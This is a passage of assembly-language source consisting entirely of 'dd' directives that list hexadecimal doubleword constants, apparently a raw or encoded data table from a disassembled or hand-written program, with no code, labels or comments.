dd 0ED137E91h, 10F2D245h, 52DD18A2h, 0C7D1860Ah, 347F6D51h
dd 0E5129BD6h, 0ECAD310Ah, 9F15F8FAh, 0CA0143A9h, 0B335D63Eh
dd 4A013022h, 0BE22197Ah, 0CE406AB3h, 0ED78062Fh, 89FB2AFBh
dd 0D45D4FA2h, 5FA222EDh, 2651DEF5h, 0BBC6B49Eh, 0C37AB7E2h
dd 83F1943Bh, 8F933E7Dh, 5D48DE92h, 0BFC6B3A5h, 0E0947020h
dd 0CBB05ABAh, 6A3E9D3Ch, 0D7E9D1E8h, 9B8D1963h, 21D7D979h
dd 57E6335Ch, 63D56022h, 0FE65DCE2h, 7F5421C9h, 15C2DB8Dh
dd 80DBECCCh, 0C0515760h, 8CE5DB63h, 1468E043h, 0E14BE46Ah
dd 0C291E0C0h, 0A815890Fh, 292271A5h, 1592C862h, 0B977CD95h
dd 938AF0B9h, 5A5AFF1Bh, 0B96E11Ah, 78A7C527h, 94912513h
dd 58501DA3h, 2126ADF2h, 0EFE62A43h, 97DEC8DDh, 0A0B40C0Bh
dd 9332E080h, 0EA836D09h, 11B95513h, 0BDDCA114h, 0C3F1988h
dd 875FF3F0h, 64BAC285h, 0AB6E44D3h, 6FD7A364h, 7B360F2Fh
dd 0D4A3D8EFh, 0BA34E036h, 0A144C347h, 10036A12h, 4CEAD03Eh
dd 0E88932D3h, 5CE1B7C7h, 78C99477h, 968BB600h, 0E113CFB6h
dd 6380CCA4h, 251E898Bh, 2BD50D45h, 89200B2Ch, 3FC537A8h
dd 55AACF4Fh, 0EE74E216h, 0C3DE5420h, 8BC194F9h, 0ED27A828h
dd 0A07240BFh, 0EA1BA018h, 0B1CFF6C3h, 1B87F702h, 0DB0FEFC5h
dd 0B1EE548Eh, 0D86B2344h, 90A5B0Ch, 58B015E7h, 6AAB086Ch
dd 49868F21h, 0B0997CD5h, 0B1352587h, 0F7A938Bh, 0BBFAA18h
dd 0B9952BEh, 974334Dh, 0C64BE2B0h, 0E582D34Dh, 0DCE51B57h
dd 0AF96AF1Bh, 4AF49386h, 25E82804h, 39114F5Ah, 66581FC9h
dd 9C878501h, 2D6007Eh, 9A08F8FFh, 302EE73Fh, 0FCB17FAFh
dd 0A214975Ah, 91F51983h, 0AE064E76h, 0BF8B3D5Dh, 535FBBBCh
dd 96555B85h, 241D43E4h, 0E2902EEEh, 5902ADCCh, 27F64521h
dd 0EF42799Eh, 6711E308h, 0ACE94362h, 52CB0C1Eh, 0B28C0D95h
dd 910EA90Bh, 6A05479Ah, 7B7D4A10h, 97589DACh, 3A5D2924h
dd 0E27FB2C2h, 0F0D10417h, 8BAC643h, 40A6063h, 3B4A66E4h
dd 2E27809Ah, 0A2A9D59Eh, 0C3A26FAAh, 94A1354Bh, 9E68C98Bh
dd 817B6D10h, 20EEF5E2h, 531E619h, 0CA66FD0Eh, 0DD27E73Eh
dd 30A9129Dh, 9B199101h, 0A06CAB08h, 0AAE4C489h, 0BE0B7822h
dd 0C65C7608h, 0CB28DDB3h, 8D3783BBh, 429DC3Bh, 0BFE03EB4h
dd 0E79F7AE5h, 3814E4C9h, 0BD3818C8h, 0E7CE22A2h, 0A7CBF659h
dd 0EE36C20Ch, 0FB190310h, 0CDBF0D9Dh, 0E9DAD456h, 4AB8CCC4h
dd 0CABE08A9h, 0AC7A523h, 24BB090Ah, 7EE20115h, 0E44D4122h
dd 20F7C63Ch, 0E225E9C5h, 45C7A6A3h, 0BAEC05A8h, 0B8238A1Ch
dd 0B1EFB830h, 26794616h, 28E63D4h, 8D2AF218h, 8A0CD9BEh
dd 0EBFEC1F3h, 46B462CAh, 898CA9A0h, 0B1DAD874h, 4C00A9B4h
dd 52AC6074h, 57FDC4EBh, 3052EA1Ch, 64F4E697h, 15AAAF87h
dd 0EBF4779Ah, 65583E0Ch, 399E5B47h, 37D46ABBh, 1CCFE4F4h
dd 33673891h, 3BD111ABh, 3F0ABC44h, 0D7A23F32h, 8E564711h
dd 7678A7B5h, 1784704Dh, 4B3A6265h, 66F26316h, 58A4AA80h
dd 2E0F7E8Dh, 0DFF84F6h, 9C1A8222h, 61593A6Dh, 0A0F9315Ch
dd 615F0786h, 9F1F5868h, 3A8555DBh, 0D12A51C8h, 406BD42Ch
dd 0BE01075Fh, 29389B0Eh, 64DB3695h, 0E49DF42Bh, 42538027h
dd 0D337318Dh, 6FE5E7D5h, 2F9A8ECCh, 6D015F72h, 58ECE6B9h
dd 1E0A1E90h, 2CE3BB6Eh
dd 4C907985h, 48F4B93Ch, 6E4BBB94h, 85AEDDD0h, 0AC96769Dh
dd 0B8040BF1h, 20735DF8h, 75A28733h, 5BC69185h, 0B16338E5h
dd 776F68B9h, 6260934Dh, 32124B47h, 8E64A9FEh, 507A73DBh
dd 38A205E2h, 1770980Ch, 3683A6B0h, 93FB9941h, 4C980836h
dd 0B7DF9C1Eh, 0ACDE6F7h, 81A6150Ch, 0D253FE72h, 7401CA09h
dd 0FD95EC78h, 0F267D2CBh, 0CDD96D61h, 0CECB822Bh, 0E4964557h
dd 0C9D799Fh, 777A7162h, 0C03942BDh, 9CAF356Eh, 9021AE62h
dd 1C6214F6h, 34D512B1h, 718F14FBh, 0F9610E1Bh, 16B03B33h
dd 0C0C8ADA5h, 0FBD98D66h, 5D9334E6h, 0B1DBA471h, 0C13F8AEFh
dd 907A6D6Eh, 5DFAC97Fh, 0CA69F43Bh, 0C75F7FAFh, 42E0A278h
dd 9406A1A6h, 0B21564C3h, 0B88A3D9Fh, 9CFE469Ch, 0BCFB61E0h
dd 69F5752Fh, 0C47A16E4h, 66883E7Bh, 0D25AE868h, 6F9A438Ah
dd 16EA8BBEh, 0F248CFEAh, 578ADE45h, 0F6C0D1DDh, 81BB7689h
dd 0AF3878EDh, 85BF2Fh, 3532DDFBh, 82FDB240h, 51D9F9AFh
dd 8E13B0E9h, 396F16A4h, 994FE22Dh, 186C07BDh, 13432192h
dd 3B66149Eh, 9EFCE59h, 54B16F45h, 0BA6A2C08h, 0B2D28929h
dd 0AD480843h, 0E567933Eh, 6D13FD1Ah, 0B0B0E0B9h, 8D88FCECh
dd 0BE88833Dh, 4B69E3A1h, 0FFEC1CFAh, 960E5963h, 5F893D83h
dd 4EF2DC5Bh, 0B093C7AFh, 2471C4F8h, 6BFAC69Bh, 0BF9F245Ch
dd 8546E3B1h, 2B19DED4h, 51AE0F0Dh, 965EB40Bh, 14B0A00Ch
dd 61F6796Dh, 3D66A7B5h, 0B00D88C2h, 4EC6279Eh, 0F8E5459Dh
dd 48B634FAh, 0FB36CFA2h, 30931B92h, 0D53247A7h, 0BEBD147Bh
dd 196FB597h, 0FBCA98CCh, 0FCCC4547h, 8A243111h, 89DED75Ah
dd 74D54ED3h, 3AD1D05Ch, 7E43E51Eh, 3354E867h, 60D7B0A5h
dd 0A4532DB0h, 166B351Ah, 37755919h, 7236B98Bh, 6ECBD5B2h
dd 45908B2Ah, 0ADA84B55h, 475A3F3h, 9CE7081Ah, 0EE8BAC20h
dd 23DB1C44h, 2BBBE177h, 12A2C936h, 0F6513D5Eh, 0F9355AEAh
dd 0AEC1F934h, 0F91E8640h, 24F2C17Dh, 73437A64h, 0F9C73B6h
dd 67E0F40Fh, 19B865h, 40AB4F26h, 33D76422h, 465CA6DBh
dd 3B6AFB2Ah, 0D83CAA4h, 0D8DB8BA0h, 612332FAh, 1323AB1Ch
dd 2C3D2535h, 0C6C26127h, 63DDA840h, 0FBED933Fh, 0C6C60Fh
dd 6B699A69h, 0F1CECF2Ch, 0A87E264Dh, 3FDF7A7Eh, 5CAF64A5h
dd 17860652h, 0FE4458A3h, 746ACBC0h, 0BA4B2E73h, 0A20C2C85h
dd 7F9A7142h, 38AFA20Ah, 0A23DAAA8h, 92B900F6h, 730A3781h
dd 0DACAF770h, 9BC32FDEh, 0D89D1C4Eh, 0AF51E3D2h, 392A8588h
dd 0F497EA9Ah, 1DD0DA99h, 0C845CCE4h, 0CB38CCEh, 0BCD42CCFh
dd 36AD9C6Bh, 0E3CF622Fh, 0BAE9C0D4h, 4F9DC80Fh, 52552C20h
dd 32A4EE8Fh, 84CAFE72h, 95F307D5h, 0F0672B12h, 0E733CEDAh
dd 81ED9A3Ah, 90B56368h, 6A6EBBF7h, 7B0A3A89h, 0FBD2A526h
dd 0A5618FDCh, 3D29F467h, 39B05EF2h, 0B7B615C7h, 0FE8CD465h
dd 4023C102h, 69DD1F3Dh, 3A2DF7F9h, 22D3857Eh, 1354D7A3h
dd 6375E114h, 0D1D32EB4h, 2E600B81h, 19098E44h, 0E263E5A6h
dd 872A4CDCh, 0F5C660D1h, 0F8AF00FCh, 0DC5DAE38h, 0AF89B387h
dd 0C4A245EFh, 852F3D3Dh, 12B4D97Ah, 55E7AB5Fh, 0F27D5B62h
dd 0CAFFB19Eh, 0EB55AAA5h, 22E675B2h, 0B44D4F04h, 0F96B1369h
dd 0E2B843Ch, 0F2D3F95Fh, 0F15B82CEh, 22E48F11h, 538A00B9h
dd 0C5AD61D8h, 0AD5E342Dh, 0FE0A160Ch, 13F03BC2h, 0E5C78081h
dd 0F9741ACh, 0E423AAA4h, 213FE443h, 9A44E84Ah, 0EE5F5F3h
dd 1886649Dh, 92CD0DD4h, 17B331BDh, 0E3B79591h, 36B3BE73h
dd 5BFBE4A5h, 0F9AE8011h, 3A2683B6h, 81EEB35Ch, 1C7226BDh
dd 234A1244h, 1204BD2Eh, 0B6C3C0A1h, 0BEA343C4h, 0DCDC4FD8h
dd 0C12F3CBBh, 118542A4h, 0A6923E12h, 0AD17DBDh, 0CC3F62BFh
dd 0F56ED31Ah, 7814E64h, 0BA644EE2h, 0FE0BC259h, 632A11A0h
dd 0BF6B03D8h, 5C0DC267h, 8AD1C2DCh, 6FBB457Bh, 19206719h
dd 1F69555Ch, 0D2E77E60h, 2272BA2Dh, 2D6E51C2h, 638EAD90h
dd 6D3F59F3h, 37D6B122h, 0AD237678h, 27EFB399h, 7A0D4E23h
dd 2F93BF4Ch, 9ED04D6Dh, 0BBF7B5BDh, 282AA6EFh, 48CADE4Ch
dd 2BC72631h, 9FC809F3h, 4B696E10h, 36DEEB45h, 2F8B41A2h
dd 939DB62Ah, 0BA657930h, 9B19EFA2h, 3D051EFCh, 0C31B2C3Ch
dd 503C18FDh, 576CD59Fh, 0DBAA6820h, 8FD937C4h, 88D144E1h
dd 479F1C9Bh, 0E218A564h, 19D7CEF3h, 3A921C22h, 1A2FCFC8h
dd 6BA66C4Dh, 3DD2D4FFh, 0CFD2B54Bh, 84D289C7h, 23333686h
dd 0F8D043C4h, 0CDF56AEEh, 1F09638Fh, 0FFA51CEEh, 36CB4217h
dd 0AAAB1F8Dh, 1467A72Dh, 2F3D88DCh, 0C8FC384Fh, 0B38C786h
dd 16B9DB7Ch, 49620C47h, 97A2F109h, 8D788486h, 98A0DCC4h
dd 6185BB9Dh, 0BBB699ECh, 0C2CE061Ah, 80DB3242h, 75E188B9h
dd 0F39D28C0h, 27283D65h, 0F70BDE79h, 0A67C6DC2h, 46445603h
dd 784C13Ch, 8C3629B6h, 29312D6Dh, 894B7C79h, 9F920FC6h
dd 0D2ABB0F6h, 660B6E43h, 193C05Eh, 9CC31E3Fh, 0FAB21FE5h
dd 8061068Dh, 79A04695h, 0C1CF48C6h, 89173DFDh, 1610E532h
dd 1BBD9369h, 0A755C333h, 67CCA035h, 5FE01AF4h, 4CD6BD57h
dd 8A0C1C48h, 105EB742h, 6D400378h, 0F0EED89Eh, 14837FBh
dd 36E8C3A1h, 0FAA57AE2h, 0CA9B4594h, 1E0C4F81h, 0B15E0EA2h
dd 14DD7A3h, 0C10B5185h, 0B7F4F0CBh, 0AB6BF955h, 6D0CEA84h
dd 0E60E0022h, 8DB45CF1h, 0C6E86642h, 0B0FA6E44h, 4B551C48h
dd 2243D464h, 15F79CFBh, 0B546A4EAh, 2BC8A3CAh, 41CD5387h
dd 0E8292DE8h, 181234B3h, 0A206576Ah, 0E1588519h, 56EF03B6h
dd 85ED05F3h, 1B0C8A92h, 0F96F3798h, 40406660h, 7B313FEDh
dd 564A6343h, 0FD60C469h, 0DA653A3Ch, 35339455h, 40EAAC9Ch
dd 0CFEBB704h, 0B08FD642h, 0D0895ED2h, 2D4F029Fh, 9E2C6FDCh
dd 5B086BF9h, 0B56A4F38h, 0DFE4E349h, 0CEAE157h, 0E1A2AD03h
dd 70954066h, 55EF19F3h, 0C7A793A9h, 7792AEFh, 2AB0FE0Dh
dd 4524BA3Ah, 0A183C93Fh, 0C9B79F41h, 0A1821CE8h, 59C12358h
dd 280D57B9h, 79F29B4Ch, 0F2B0DEFCh, 57987493h, 324EFF2Eh
dd 627AFE17h, 86B7AD84h, 7B419436h, 5511825h, 5F79832Dh
dd 2C028A2Ch, 84FB6C0Bh, 5B9E2E72h, 948AF7F0h, 6EE29B00h
dd 0D20686FDh, 497446Bh, 259D4BB1h, 75E8ABD6h, 494A4A18h
dd 3EB61094h, 53AC70C4h, 411C2D2Eh, 1184EF69h, 7F8F79D4h
dd 79A83A1Dh, 0BC842Dh, 0E6066F67h, 916ECBF9h, 0DAB201Dh
dd 0F3E595B1h, 0C0A5986Ch, 9E495A74h, 0D9286CCFh, 0DC6E11DFh
dd 6EC7133h, 0D7BB57D7h, 2D725694h, 58127927h, 9EC443BFh
dd 0DF2AB608h, 1D6A4D94h, 3ABC29E9h, 1442B4A8h, 0D9E811C0h
dd 0C8F1D619h, 71EE52B7h, 42E3F2D3h, 6CE68ABh, 896CBA5Dh
dd 2556A47h, 5FB345DFh, 58AFD389h, 12E011DFh, 0DA1A826Ah
dd 0A20C77A9h, 0F8BA6D8Dh, 0F9678058h, 92E85E41h, 7BFB37E7h
dd 0D163EF14h, 8E7D97ADh, 706CFA69h, 0E8A7D22Ah, 38592111h
dd 0CFC43C8Ah, 0B14AE5EFh, 68AA127h, 907A993Eh, 0AEE4FC71h
dd 38DBB33Ah, 4B594BD8h, 0F3A8311h, 6AC70C09h, 808DDACDh
dd 92DDDD70h, 4FA62BEFh, 9BEFC7F6h, 0DAC400C9h, 2027A66Dh
dd 39EB69B7h, 52E38449h, 251AF3Ah, 0B36C1A77h, 0CDBB1100h
dd 156477ADh, 0D869C060h, 7B18C8AAh, 8210B008h, 0C3A1E619h
dd 63D0A6F0h, 106E2D8Fh, 0B9119CCAh, 0B61047BAh, 7D9445CDh
dd 1554C7ECh, 642AB137h
dd 0FCDACF61h, 6FCF104Ch, 995C4C45h, 0F912E2E9h, 2C57243Ah
dd 56D74974h, 0B51A45C3h, 4FBE5D80h, 0CA27BF95h, 36C10120h
dd 0CE94AC3Eh, 1599E039h, 0E8688172h, 0B0C5F8C0h, 81A9707Ch
dd 75D2837Dh, 5947A5F6h, 55278F48h, 0B77BEBA5h, 36D37842h
dd 7501CDA7h, 0CB576731h, 0D7395A32h, 0A65FA3E3h, 780050AFh
dd 96D90A4Fh, 0C2C8197Bh, 1E785732h, 0E8C8FD88h, 32252B91h
dd 0CA41E59Dh, 0CEAE8105h, 0A6242D1Ch, 87F2FD3Fh, 6CE1965Dh
dd 8F56679h, 2790ECDBh, 2DF8293Dh, 0C24D5C0Fh, 0CC68AECFh
dd 2224116Eh, 4E99C752h, 526A2EDDh, 9E9A5310h, 0AA3CEF5Dh
dd 4E9E3488h, 121E571Dh, 3A5736BFh, 0B9AAB71Dh, 2D40ABF5h
dd 0C9D02EE9h, 0A6A07475h, 9EAE7207h, 0E031D3B9h, 8D1266BDh
dd 0B8C8D389h, 0E5EFFF2Ah, 0AE527C19h, 7727358Ch, 0F9A8DE77h
dd 0E080A925h, 0EE458DCh, 0E7D20A66h, 4AC65F1Eh, 409F08DBh
dd 433B03E7h, 0E0343659h, 0F26E8751h, 572E7BCDh, 9E9F918Bh
dd 0E942FF29h, 0DFF7C659h, 55CB68A1h, 37B53DEh, 2A0AF937h
dd 0CD18AC6Ah, 0B449E58Eh, 684E547h, 559142D3h, 0AFA21660h
dd 0B806CCB1h, 2DBDE807h, 318ED605h, 0E35F29FBh, 37F41121h
dd 82F51642h, 6362BB93h, 0C762D9CCh, 4EEA95D7h, 0B0D2A8CDh
dd 0F4F077BCh, 831D9D13h, 2013EAFh, 15E1E871h, 65068126h
dd 0D1766CEh, 6E9027A9h, 5307C6A8h, 969F9C5Ah, 0A66B2500h
dd 0D2549FC3h, 3C03C53Bh, 16A013B2h, 2C5F6A82h, 35B2AF62h
dd 368970A3h, 324ADACCh, 7508E9F1h, 0C87E4CAFh, 2B96729h
dd 0C49E1C7h, 39F83518h, 0DFAF7BFCh, 0D4234B01h, 387A7AEh
dd 0EABFC679h, 36082B1Ah, 0D8FF083Ah, 0DAA5DB2Bh, 0C767F724h
dd 10175FBAh, 0AE2FCCE5h, 4FC3E7B4h, 265414EAh, 85A66AA2h
dd 4AFC773h, 0EF5024F5h, 0C3A3D99Ch, 0C6F213D9h, 7D6D931Dh
dd 9AA1AB99h, 0CD924282h, 92E3486Ah, 8F4E1C6Ch, 6FA2F96Ch
dd 8B232C17h, 2E7F49D9h, 895E6E9Dh, 0FB1B21C5h, 31452E3Dh
dd 2B712C6Dh, 65070959h, 0AAC0200Dh, 80DE5CEFh, 531A9h
dd 1BBF1FC2h, 3A7D5E7Fh, 0C406D076h, 8D5DA591h, 343CC1CBh
dd 0ABCAD353h, 3091F1E8h, 0E07589E8h, 400B90AEh, 3206D2D6h
dd 7FE95828h, 5E21764Bh, 3FFA398Eh, 259D20h, 0D75A2D3Fh
dd 924BC4E3h, 0A7397949h, 0BD3FDA96h, 0DB739A32h, 6EF0F261h
dd 8AC63111h, 2DAF8032h, 6D98A7A8h, 9EDC2133h, 0CC07CCCFh
dd 0C2A30B31h, 0B8A61D0Bh, 4FC3DFF3h, 5B37907Ah, 0BA024676h
dd 0EF1C3946h, 2CF0F99Bh, 1B7A13CAh, 5E8A31Fh, 6749AF07h
dd 8EAFD4FEh, 8EFCA253h, 0A099F34Eh, 93949334h, 0CDA9D9B2h
dd 43BFBE5Ah, 0F672CACDh, 0CEEC76A1h, 0F8FB2A3Dh, 4A9F7FDFh
dd 0E12242BBh, 0A133371h, 89EA1A91h, 83C1B412h, 0F722B615h
dd 0A88EAD58h, 9ED1BFAEh, 1397DC99h, 9401F604h, 46285E24h
dd 1DF50211h, 0D302C7BEh, 0F2DC603Bh, 0C9AA2Ch, 0EE3556A8h
dd 0F89D7719h, 0AE2496D7h, 92EBC059h, 1E3B1842h, 1E85C697h
dd 988AD4E0h, 0DB098395h, 7ED6194Fh, 81EFDD8Bh, 0F4E9C186h
dd 79769266h, 8FBA5DC6h, 5938C424h, 50CAEE7Eh, 7D11C32Ah
dd 6C4825E4h, 5E281620h, 685A1560h, 0E7F211D8h, 0B5B36Fh
dd 0E5EF3BEh, 66CF6330h, 0BF435A92h, 0CBF55815h, 0E9D12866h
dd 0C3A0967Eh, 0CECC4716h, 159A490Ah, 1FF48074h, 4934391Bh
dd 5A11C397h, 18A4FAE7h, 54F4BDE0h, 0E8F2E01Dh, 0D9A8B875h
dd 6D9A17B9h, 0D6FD33BEh, 0E99C7789h, 0F5E73D81h, 3F5D44A9h
dd 4DDDAA28h, 365F78E8h, 7E80FAC0h, 0E042E9B4h, 0D956C402h
dd 0A3D820D7h, 812147CBh, 27A85A58h, 1B8BDF51h, 0D18965FBh
dd 0AD67C1A3h, 375AF552h, 18B5D434h, 227D1E4Ch, 1F12075Eh
dd 43865B88h, 608D60AAh, 7839F9FFh, 110C53D2h, 84A02193h
dd 1EBAA79Eh, 543B49CEh, 5A105B12h, 5B03F693h, 0E0007ADh
dd 0F5F6A12Dh, 0C5BE4284h, 9171BC3Dh, 65110D1Ah, 0F85FBACCh
dd 0E11DAFBDh, 0AB5B279Ch, 486A5A5Eh, 0E2344E9Bh, 73AF89BEh
dd 0EB4122CCh, 1D9C573h, 424C5FB0h, 0DD2A0981h, 0BD1085Bh
dd 60A13834h, 0A5D2257Ah, 43CE60B6h, 0C9A49DD0h, 1C5943C0h
dd 708FF3Eh, 8358DAC3h, 0A7B68679h, 0DA330C2Bh, 0B2E1E5FAh
dd 91386B96h, 6E7F53FDh, 0C0E75A4Dh, 6F46284Fh, 0FC7B5156h
dd 6CC1197Bh, 41AB3FF1h, 8EF0A372h, 0CEE111B2h, 90B9CAE0h
dd 3225E507h, 0D5050D61h, 4397EA92h, 168723E2h, 5F25C750h
dd 0F8C03E91h, 44903CF3h, 0E175B0AEh, 51AFDFAh, 2AD0AAC0h
dd 0EA63AC3Ch, 6ADF3749h, 0BF1F3145h, 3EA7ACACh, 98E608B0h
dd 0E974097Ch, 1F3EC381h, 96A0E5Bh, 1CB52819h, 0E887FA64h
dd 5BEC4958h, 1554AF50h, 0EB50EDAh, 2F9AFA3Dh, 9749EECEh
dd 171056A0h, 0ACE012D4h, 0C32F8040h, 0AC1ABF82h, 5CEBDCB5h
dd 4BD3ED23h, 11CA8BD6h, 0CF550BEDh, 9B25FC26h, 78BDC989h
dd 980D7E6Eh, 0DAF32191h, 595C2E67h, 6EB5EDB7h, 3B102F74h
dd 3F58FF35h, 0C6D05099h, 0B2EED30h, 4B4935Bh, 0BD88EEEEh
dd 37C26EC2h, 55533D23h, 773B335h, 55AA51B2h, 0BFC35967h
dd 984FBB85h, 369B1602h, 0CFE7C36Eh, 0DFCA844Fh, 8E5132A6h
dd 22B98C1Dh, 0A6F947EEh, 47025B87h, 516713EBh, 9A49A1F4h
dd 52CFE7E3h, 5F87C412h, 23C7AF5h, 661D9D2Ch, 0C7F9138Ch
dd 0DFE9A265h, 0BCA0084h, 0FC57CACDh, 0D2CBC689h, 0A141FB77h
dd 842E3E1Ch, 9CDD04ADh, 0B3880406h, 5A000A15h, 58055F8Eh
dd 606A12B3h, 1278A05h, 0C9F0DD99h, 0A3A8C307h, 0B9DB11BFh
dd 689D9A78h, 4CE6EF9h, 0EA87800Ch, 874D06B3h, 63828771h
dd 4890ECFEh, 0CE4716A9h, 50308BD5h, 0D8A8ACE8h, 76732F20h
dd 1CA3C072h, 0D458913Bh, 0EDDAD8A3h, 3DE3E081h, 798AEA06h
dd 5C784F39h, 4C7C4496h, 13466F4Ch, 0CCEC878h, 2EDEB056h
dd 5ADB0559h, 8C0552B4h, 8DF0C5B2h, 9988470Fh, 7D27062Ah
dd 7E98DA3Ch, 0F8864B6Ch, 4D4AF424h, 0C8CCA213h, 273B0B5Ah
dd 8B8B54F0h, 4923DCCAh, 336AC551h, 9AE17FFh, 0E496082Bh
dd 12519DF0h, 35C2562Fh, 0DE737E78h, 69E6C869h, 5D687287h
dd 3C39955Bh, 0AC1C61DAh, 82D3D724h, 790BA100h, 860C44DBh
dd 46603DDAh, 0BE7259E4h, 571E7D42h, 6D0FE39Dh, 1F1B6BADh
dd 2264B3BAh, 0D67F61Ah, 0B4B86BE1h, 8ACF0280h, 8D57DADDh
dd 0FA264D60h, 1890935h, 342D6F45h, 5963A71Dh, 0FDA3EBB9h
dd 6F1040B6h, 0D549A1C7h, 2E38158Eh, 5F6DBFA5h, 46FD6996h
dd 8B812FBAh, 0EA5660F7h, 8CC32BA8h, 0AEFAD1ACh, 2DEF76BEh
dd 904DAA21h, 6C7322E9h, 0E2D9605Eh, 2AB02690h, 3C23F238h
dd 688F4430h, 0A4E5D367h, 0BAAA232Bh, 85A8C860h, 0C5A244EAh
dd 1CBA4F16h, 0A6B273A2h, 0E7FD56BDh, 388081B4h, 91C140BBh
dd 2CD57EDAh, 27365C97h, 1418B908h, 16F0D8D3h, 4F7FDA0h
dd 6D46976Dh, 0E07F6B32h, 1652BBF0h, 0FC97491Ah, 8C094AF1h
dd 0D5351E1Ch, 72778ED3h, 0D32556EBh, 9F3A9559h, 0C67DEE71h
dd 2DE10A82h, 1F74BC28h, 946BD1CCh, 0F634DAA0h, 0BB139597h
dd 606970D2h, 6FEAB304h, 69EC6456h, 53E74D0Dh, 4167C1BFh
dd 4CDC1AAAh, 9AD60B7Ch, 0AE1DD209h, 681B613Ch, 3508A05Ch
dd 9C324485h, 7024CBD2h, 0A68B022Ah, 0C49AA10Dh, 0CB536BA6h
dd 4E544E5Ch, 21178518h, 0A015876Bh, 5C4F5F2Eh, 0E053F08Ch
dd 0F61B0B1Dh, 5ED3F9F2h
dd 17B23133h, 0A848D0A6h, 5688BFD4h, 0ECE5C992h, 456CEAABh
dd 0F37D10F8h, 5BC7E759h, 35F48ABh, 0E1343180h, 8AF143B0h
dd 0EB177485h, 8F8E9D68h, 226A4FC5h, 401CBCB6h, 7660F6CEh
dd 0B71E4C09h, 4A306BBAh, 8228340h, 5BB7A621h, 0FCD1642Ch
dd 0E4B4DE05h, 0BC174785h, 3FB6591Dh, 0BFD4F23Dh, 0EC9DCF3Bh
dd 0A6A3ED57h, 0A158E4ADh, 0FAD3EAF9h, 101651F2h, 0E35221EEh
dd 0EAB01EA5h, 0DBE4EE57h, 53A0F9B5h, 16EB9FBh, 0DEB9FCCFh
dd 97090785h, 84FAEFB4h, 290D65BAh, 6E6A7B1Eh, 0A1F0F7F3h
dd 4FE4CB13h, 0FE21EA2Fh, 0C4270007h, 0C58A1161h, 0CBBF3EAEh
dd 0A0F19C88h, 0A4715B37h, 498AF767h, 0AFA460E1h, 0E0DA9473h
dd 6E6E352Bh, 0DDD818D8h, 0E3EF5786h, 0B42B42Bh, 0AD54E3A4h
dd 6533A487h, 0E66E516Dh, 7A4FF716h, 0C771DC5h, 4E9E31E9h
dd 0C1B2EB90h, 0CB231868h, 77094A10h, 48FEAC14h, 9C5AC9D5h
dd 74A28AF6h, 54986A65h, 93B12C9Ch, 0C9BBB519h, 98D3F082h
dd 32BBC4B5h, 80DF3AFh, 0E48700D6h, 0C10CCA84h, 4129A6F4h
dd 902F1A37h, 5D74449Ah, 0A06FBCD2h, 0D05E72Dh, 0CBE2C89Ah
dd 0BFC54541h, 0BABC74D6h, 6313E5B1h, 0AF90CA13h, 0FC78FC4Ah
dd 78121687h, 0DD02B1C9h, 7D02D06Bh, 2066F50Bh, 0B11F8EA8h
dd 0A690D44Eh, 0C51BEFA0h, 96508DB1h, 5C9B3195h, 0B9C28A16h
dd 34637766h, 41CA9D9Ch, 0F2ECAA29h, 77020E99h, 7B57E20Ch
dd 4B92AF5Bh, 32CB464Dh, 0A5AA36A0h, 7B434259h, 1B373C0Eh
dd 568F7D1Ch, 6D0A784Dh, 3DFCD50Fh, 0A4583209h, 0D333ADDCh
dd 7A4D993h, 2D923856h, 15891D30h, 6D9BB0Bh, 0D4957E3Eh
dd 0F96CE99h, 5DD831ADh, 0E43BDFCBh, 5397EBC1h, 0E660D225h
dd 7ABEF9DEh, 65925C5Dh, 6684C66Bh, 9A4E7C81h, 97139A6Bh
dd 0F10418A8h, 396988C4h, 881F845Eh, 0CE8BB8BAh, 89AD9E03h
dd 630E62D6h, 924718EFh, 43A06CE8h, 130C3F76h, 3F753DAAh
dd 0C7541A5Fh, 0E7028416h, 0C5C61F3Ah, 12341B1h, 0C917F918h
dd 91FF9612h, 0E481036Ch, 0A57E7858h, 0B0D8D6E3h, 0C991D1C8h
dd 0CFCD197Dh, 294448DDh, 0BECF8C7Dh, 0A98788FFh, 878AF26Bh
dd 0EAB1FAFh, 3CD0F958h, 183FBC01h, 92CE5647h, 0A5EB41FDh
dd 2ED5722Eh, 0ED654A9Eh, 3964A953h, 0C27A5308h, 6B98B4EFh
dd 46CEFE80h, 814E9B01h, 343C9084h, 6FBE5308h, 78CD0C6Eh
dd 1003F47Eh, 6D542F64h, 0C7AC032Eh, 0FC75AC8Bh, 566F763Ah
dd 69A90362h, 8D18963Ah, 3712E2AFh, 0B41EBB23h, 31F77528h
dd 0A38AEFFCh, 47DBF87Ah, 0DC2881B9h, 38CB58C0h, 0A55E03CCh
dd 342BB99h, 0B22450B0h, 0B9ECC6C9h, 0C2BE0F72h, 0B3ADA185h
dd 67D8841h, 0AE82E8BBh, 0D885ED1h, 0A883E2F6h, 0CA601255h
dd 0ED698499h, 392B058Dh, 872EBE0h, 57EB51AFh, 5DD0474Ch
dd 282D884Eh, 4CC9D35h, 9A00E296h, 2CCF16D9h, 0AEDF1F8Fh
dd 0C3E1CBD2h, 0C49B90A2h, 0BD54F5ACh, 8F081DFDh, 593BB685h
dd 75706FF0h, 13E4A4C4h, 0D3429379h, 839699B7h, 0B094DB64h
dd 55AB58A5h, 674D9E1h, 0C48A9FC2h, 7A92DD04h, 0B22A79h
dd 0B12C14CBh, 6A8C0661h, 44183B4Ch, 0CBB90E0Eh, 39876D3Fh
dd 0E9ED94ACh, 0F4875E21h, 4FAE7DEBh, 7D8B8615h, 16710C32h
dd 0DAD3D8Eh, 7D74BE96h, 9DEC885Bh, 6BD40103h, 818355A5h
dd 0BA209F37h, 660496B6h, 0DBE9918h, 0DA44073h, 0AFEAA98Bh
dd 0D5CABEA5h, 23CB90E1h, 17845E75h, 0AFF555AFh, 3A47B157h
dd 3931C18Fh, 0C96414E5h, 0AF6FF736h, 4D75EEA3h, 2788E0Bh
dd 0B5AD7394h, 0E0DDF594h, 9D92613Dh, 0F29A4AAAh, 7E3C028h
dd 506D3625h, 85C9B872h, 78FADAFCh, 0DEEF1027h, 0FD1AF448h
dd 935C3D66h, 4F7747BBh, 0F5B6E26Ch, 220C86B5h, 4FDABFEh
dd 4E79D86Bh, 0EF5E9696h, 47E8082Ch, 0FA007346h, 3E33F734h
dd 3C4DD86h, 444FF7FCh, 0C7EE439Ah, 0F87DFFB0h, 3AB3A644h
dd 0B6D8DC94h, 17AECE8Dh, 0AA964661h, 1AB2C0CBh, 0E5FEF08Eh
dd 0BF0BD9E5h, 0BCDAEA9h, 0A2BAF17Ch, 77509F0Ch, 788F6A2Ch
